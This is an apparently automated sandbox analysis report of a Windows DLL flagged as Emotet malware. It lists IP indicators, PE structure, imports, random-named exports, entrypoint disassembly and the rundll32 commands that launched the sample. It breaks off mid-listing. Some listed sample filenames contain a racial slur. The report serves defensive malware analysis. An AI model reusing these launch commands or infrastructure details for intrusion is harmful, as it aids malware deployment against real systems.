58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532415
Start date:	02.12.2021
Start time:	08:36:15
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	P5LROPCURK (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@30/2@0/29
EGA Information:	Failed
HDC Information:	Successful, ratio: 7.3% (good quality ratio 7%) Quality average: 71.8% Quality standard deviation: 25.1%
HCA Information:	Successful, ratio: 68% Number of executed functions: 41 Number of non-executed functions: 271
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 23.211.6.115, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, dual-a-0001.dc-msedge.net, e12564.dspb.akamaiedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, img-prod-cms-rt-microsoft-com.akamaized.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:40:02	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	snBYiBAMB2.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
212.237.17.99	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse
	snBYiBAMB2.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	6zAcNlJXo7.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	zTGtLv4pTO.dll	Get hash	malicious	Browse	94.177.217.88
	zTGtLv4pTO.dll	Get hash	malicious	Browse	94.177.217.88
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	212.237.56.116
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	212.237.56.116
	snBYiBAMB2.dll	Get hash	malicious	Browse	212.237.56.116
	6zAcNlJXo7.dll	Get hash	malicious	Browse	212.237.56.116
	6zAcNlJXo7.dll	Get hash	malicious	Browse	212.237.56.116
	DHL DOCUMENT FOR #504.exe	Get hash	malicious	Browse	62.149.128.40
	RqgAGRvHNwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RqgAGRvHNwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	dFUOuTxFQrXAwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RbrKCqqjDPUwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	dFUOuTxFQrXAwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	RbrKCqqjDPUwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	mal.dll	Get hash	malicious	Browse	212.237.56.116
	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	mal.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
OnlineSASFR	GlobalfoundriesINV33-45776648.htm	Get hash	malicious	Browse	51.15.17.195
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	195.154.133.20
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	195.154.133.20
	snBYiBAMB2.dll	Get hash	malicious	Browse	195.154.133.20
	6zAcNlJXo7.dll	Get hash	malicious	Browse	195.154.133.20
	6zAcNlJXo7.dll	Get hash	malicious	Browse	195.154.133.20
	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	mal.dll	Get hash	malicious	Browse	195.154.133.20
	mal2.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	195.154.133.20
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	195.154.146.35
	AtlanticareINV25-67431254.htm	Get hash	malicious	Browse	51.15.17.195
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	195.154.133.20
	9sQccNfqAR.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20
	t3XtgyQEoe.dll	Get hash	malicious	Browse	195.154.133.20

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.1647136125534674
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTEX+Abk:cY+38+DJc+iGr+MZ+65+6tg+ECc+d
MD5:	D9926511AA04848F9E4AEA899BC580D9
SHA1:	5A5D22553FC05061C1618FD92FBA26EE8F85F35E
SHA-256:	28B37027E46609974496AAC377C05725DCFE8A9A7F5CF706CBF6EA5B82F41673
SHA-512:	DF295284C52D4791637152F34FB24D20EE2E0B13E9E4E1FB9359F87BB6680A69C4B199AC889A68A89508048637D84E308A2BBE779FC9D484D01BD6FF41C4E874
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211202_163803_584.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.8097194367646985
Encrypted:	false
SSDEEP:	96:DC0Ja/o+Ol5TJ9M/Y7HC6vI2lNSkUP4MlT27jFzMNMCrDdJRfj5n/NMC3j5ANMCL:W+A8CF92mToCr/GCJCZCTC6Cb
MD5:	808997A36E7D18826211D23F3CECA2D9
SHA1:	6C890E6829DD68BEE5BD21A635275BCE54319378
SHA-256:	F4C1FE783B9A09C490E1CF649CCD3C12B2AD14E1E2E45BA6E8417C55BF3761D7
SHA-512:	5AC0D890A54B3FA5E523A8EEC88097D790FAEBCA25848628D206420BBD6F91F351E102668D2972DA0F99F25A0595864C0A07E03C10418F616151329FCE12F04F
Malicious:	false
Preview:	.... ... ....................................... ...!....................................F.......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....................8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.2.0.2._.1.6.3.8.0.3._.5.8.4...e.t.l.........P.P..........F......................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.196255879451952
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	P5LROPCURK.dll
File size:	473600
MD5:	fd07795adccba25223cd6d2886b07636
SHA1:	bc72c869accfbb97b213c5ef8c5de400a070b936
SHA256:	b777ca4e3c07d59acf57fa180c4d878db1745ae9c78a93228704aa5eadf5a6c8
SHA512:	f458106228221566f6808e5e76db8f836696287bd3c6f8260908aeca7935faf01d9298256fb0557f6bcf70a37834dbc80b5032088798b7f636136319adda0673
SSDEEP:	12288:mFyGBDytNZAR5Myju+qQuj/J+7S6Dg8stHb1h:mF92e/jEk7jDg8stJh
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........A~.. ... ... ...F... ...F..D ...U... ...U... ...U... ...F... ...F... ...F... ... ..< ..TU... ..TU... ..TU... ... ... ..TU... .

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10014c2e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A7B2E7 [Wed Dec 1 17:37:43 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	057d91f9747659ff50a0558e0aed5a44

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FD23CCDB977h
call 00007FD23CCDBD7Dh
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FD23CCDB823h
add esp, 0Ch
pop ebp
retn 000Ch
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 1003A410h
mov dword ptr [ecx], 1003A408h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD23CCDB94Fh
push 10049FDCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD23CCDF07Eh
int3
push ebp
mov ebp, esp
and dword ptr [1004E888h], 00000000h
sub esp, 24h
or dword ptr [1004D00Ch], 01h
push 0000000Ah
call dword ptr [1003A0E8h]
test eax, eax
je 00007FD23CCDBB1Fh
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h
mov dword ptr [ebp-04h], eax
xor eax, eax
inc eax
push ebx
cpuid

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4aaa0	0x944	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b3e4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x24448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75000	0x2d78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x46838	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3a000	0x328	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x385cc	0x38600	False	0.542072304601	data	6.65370681685	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x3a000	0x12520	0x12600	False	0.497967155612	data	5.51962067899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x23d4	0x1600	False	0.2265625	data	3.93138515856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x50000	0x24448	0x24600	False	0.788867858677	data	7.67560151384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x75000	0x2d78	0x2e00	False	0.740913722826	data	6.57934659057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
TYPELIB	0x73c30	0x670	data	English	United States
RT_BITMAP	0x50190	0x23867	data	Russian	Russia
RT_STRING	0x742a0	0x26	data	English	United States
RT_VERSION	0x739f8	0x238	data	English	United States
RT_MANIFEST	0x742c8	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
pdh.dll	PdhGetFormattedCounterValue, PdhCollectQueryData, PdhCloseQuery, PdhRemoveCounter, PdhAddCounterW, PdhValidatePathW, PdhOpenQueryW
KERNEL32.dll	UnregisterApplicationRestart, GetThreadLocale, UnregisterApplicationRecoveryCallback, SetFileApisToOEM, GetACP, GetCurrentProcessorNumber, GetLastError, AreFileApisANSI, GetEnvironmentStringsW, GetCommandLineW, TlsAlloc, SwitchToThread, GetUserDefaultUILanguage, GetUserDefaultLangID, GetOEMCP, IsDebuggerPresent, MultiByteToWideChar, RaiseException, InitializeCriticalSectionEx, DeleteCriticalSection, DecodePointer, EnterCriticalSection, LeaveCriticalSection, LoadResource, SizeofResource, FindResourceW, GetModuleHandleW, GetProcAddress, LoadLibraryExW, GetModuleFileNameW, lstrcmpiW, FreeLibrary, GetCurrentThreadId, MulDiv, SetLastError, DisableThreadLibraryCalls, IsProcessorFeaturePresent, SetFilePointerEx, GetFileSizeEx, GetConsoleMode, GetConsoleCP, GetCurrentProcess, FlushFileBuffers, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, FreeEnvironmentStringsW, GetCommandLineA, IsValidCodePage, FindNextFileW, FindFirstFileExW, HeapReAlloc, HeapSize, GetFileType, GetStdHandle, GetModuleHandleExW, ExitProcess, TlsFree, TlsSetValue, TlsGetValue, InitializeCriticalSectionAndSpinCount, InterlockedFlushSList, RtlUnwind, LoadLibraryExA, VirtualFree, VirtualAlloc, FlushInstructionCache, InterlockedPushEntrySList, InterlockedPopEntrySList, HeapFree, HeapAlloc, OutputDebugStringW, GetCPInfo, GetStringTypeW, LCMapStringEx, EncodePointer, GetSystemDefaultUILanguage, GetStartupInfoW, GetTickCount, GetProcessHeap, CloseHandle, ReadFile, FindClose, GetLogicalDrives, GetTickCount64, ReadConsoleW, SetStdHandle, CreateFileW, WriteConsoleW, TerminateProcess, SetUnhandledExceptionFilter, WriteFile, LocalFree, WideCharToMultiByte, InitializeSListHead, GetSystemTimeAsFileTime, GetCurrentProcessId, QueryPerformanceCounter, UnhandledExceptionFilter
USER32.dll	GetForegroundWindow, GetMessageExtraInfo, GetMessageTime, CreateMenu, GetDesktopWindow, AnyPopup, GetMenuCheckMarkDimensions, GetFocus, IsProcessDPIAware, CallWindowProcW, DrawTextW, InsertMenuW, RegisterClassExW, LoadCursorW, GetClassInfoExW, DefWindowProcW, IsWindow, GetParent, SetTimer, ShowWindow, InvalidateRect, ReleaseDC, GetDC, EndPaint, BeginPaint, ClientToScreen, GetClientRect, SendMessageW, DestroyWindow, CreateWindowExW, GetWindowLongW, SetWindowLongW, CharNextW, UnregisterClassW, IsWow64Message, GetKBCodePage, GetCapture, EmptyClipboard, DestroyCaret, GetCursor, GetClipboardViewer, GetProcessWindowStation, GetDialogBaseUnits, GetClipboardSequenceNumber
GDI32.dll	SetBkMode, SetTextColor, CreateFontW, DeleteDC, BitBlt, CreateCompatibleDC, CreateCompatibleBitmap, DeleteObject, GetTextMetricsW, GetDeviceCaps, GdiFlush, SelectObject
ADVAPI32.dll	RegDeleteValueW, RegQueryInfoKeyW, RegSetValueExW, RegEnumKeyExW, RegCloseKey, RegDeleteKeyW, RegCreateKeyExW, RegOpenKeyExW
SHELL32.dll	ShellExecuteW, SHGetFolderPathW
ole32.dll	CoUninitialize, CoFreeUnusedLibraries, CoCreateInstance, CoInitialize, OleRun, CoTaskMemAlloc, CoTaskMemRealloc, CoTaskMemFree
OLEAUT32.dll	SysAllocStringLen, SysFreeString, SysAllocString, SysStringLen, VarBstrCmp, VariantInit, VariantClear, VariantCopy, VariantChangeType, VarUI4FromStr, LoadTypeLib, LoadRegTypeLib

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x10001200
agrwqhxohbh	2	0x10001640
aoydsyidkopcdbcv	3	0x10001590
aqaxnxiyp	4	0x100017f0
aqifizcrcigtbc	5	0x100014d0
blgyxvnrgnj	6	0x10001340
bmhoscqeo	7	0x10001800
cbhbbbnsysmxsglys	8	0x10001280
cfqauuhezdfiadv	9	0x10001300
cqaqtfmqa	10	0x100014e0
cqvdnmef	11	0x10001520
diemgfpllpxdynrp	12	0x10001660
dsjfkiuaxjmd	13	0x10001620
dvccbqldzo	14	0x10001440
eczhlkzhigpqdmji	15	0x10001690
efekjykefnomyepb	16	0x10001240
euzzsyjhhyjk	17	0x100014a0
ewfjolbrdkpfbu	18	0x100016a0
eyxfduuwswrkkfb	19	0x10001460
fcsjavaerhwh	20	0x10001460
fcvpuvlkd	21	0x10001770
fuiqbwlhvf	22	0x10001350
fuqdrqudohprlav	23	0x10001670
gdkmnewqrifmu	24	0x100013c0
giqdygu	25	0x100013b0
glvwwvhxytydlsckc	26	0x10001380
gqmumjymsqech	27	0x10001580
gyjdlfnpvuwyns	28	0x10001650
hezdupwudyyyunzce	29	0x10001570
hizzovalrzxhws	30	0x10001370
hqgltakgvouu	31	0x10001500
hxgrftzpapbksfw	32	0x10001810
hyjgiak	33	0x10001510
ibfqhgpcdmnlpuk	34	0x10001710
ijgncsgxqm	35	0x100016c0
ikolskwqhh	36	0x100012f0
iqpjrfuazqzzwyo	37	0x10001530
isnzfcopptq	38	0x100017e0
jotmsherwxebbxdwx	39	0x100013f0
jpbchpiky	40	0x100014b0
keopfre	41	0x100012d0
kgbfkdt	42	0x100017c0
kqfozymw	43	0x10001550
kqfwxmzinluclznz	44	0x100016d0
ksctsripmbdzxec	45	0x10001360
kxtqnogkhyqfdk	46	0x10001750
kyetmotely	47	0x100015c0
kzmqflbfkeynkpnrq	48	0x10001560
lwpzefcmc	49	0x10001680
mdicbempsw	50	0x10001760
mpniirdopznongc	51	0x100015f0
nfrruustkviwho	52	0x10001490
nnkxzau	53	0x10001540
ntlbxpnmpq	54	0x10001230
nylgigzlzgq	55	0x100014f0
oeeppbdhlwtqbebsc	56	0x10001780
oqimmdcao	57	0x100017d0
osmdblb	58	0x10001330
oulnevvyoxvhtk	59	0x10001700
ozjhpfvilsnz	60	0x10001790
pagmvmro	61	0x10001320
payapldnccmqll	62	0x10001730
pfzpoofrhpqtfonq	63	0x10001420
phaingm	64	0x10001740
pnmndzlcdiozheqcr	65	0x10001480
ptvzejspfsvtd	66	0x100013d0
qqpdqfhvygfzbonj	67	0x100015a0
qvaqcsa	68	0x100016b0
reounuhn	69	0x10001400
rljiirg	70	0x100016f0
rzoamlp	71	0x10001680
sgrpewcbpscaglfx	72	0x100012a0
silzddmlwg	73	0x10001430
sndamdd	74	0x100015e0
suxfnypakljbnhg	75	0x10001310
szmxqtjgfdddthzk	76	0x10001270
tdgezaxepwnz	77	0x10001470
toikjwtfacwnkn	78	0x100012e0
twtkllimi	79	0x10001390
ubpocaaeiir	80	0x10001820
ucnbopvvjujq	81	0x100012b0
umbcxxdpseqvmldz	82	0x100013e0
utuywjyiha	83	0x100015d0
uwqjkkocvv	84	0x100017a0
vghlpxvxj	85	0x10001560
vpqbpugn	86	0x100016e0
vqexozpspangdtj	87	0x10001250
vsdkqknjinjykgbox	88	0x100015b0
vtmgzxszfgtryo	89	0x100017b0
vwmgmxgrrqxpkt	90	0x10001700
vwrjazoqyjdmbl	91	0x100012c0
wkhdiwewd	92	0x10001600
xkarkqyvb	93	0x100014c0
xksexikuknuashri	94	0x10001260
xvhmkowwnqqduu	95	0x10001610
ycvymuzl	96	0x10001630
ydlbmankf	97	0x10001410
yfnbxcvx	98	0x100013a0
ygpnkudw	99	0x10001290
zdchnvpeni	100	0x10001720
znvawoxitvi	101	0x10001450

Version Infos

Description	Data
InternalName	Ylncpiqzme.dll
FileVersion	7.2.6.9
ProductName	Ylncpiqzme
ProductVersion	7.2.6.9
FileDescription	rqdads
OriginalFilename	Ylncpiqzme.dll
Translation	0x0408 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5636 Parent PID: 6048

General

Start time:	08:37:24
Start date:	02/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll"
Imagebase:	0xce0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.707566483.000000000136B000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6036 Parent PID: 5636

General

Start time:	08:37:24
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5192 Parent PID: 5636

General

Start time:	08:37:24
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\P5LROPCURK.dll,Control_RunDLL
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.649442718.0000000002D90000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.649592685.0000000002FAA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 452 Parent PID: 6036

General

Start time:	08:37:25
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\P5LROPCURK.dll",#1
Imagebase:	0x900000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.647210731.000000000293A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.647047570.00000000005C0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4624 Parent PID: 5636

General

Start time:	08:37:29
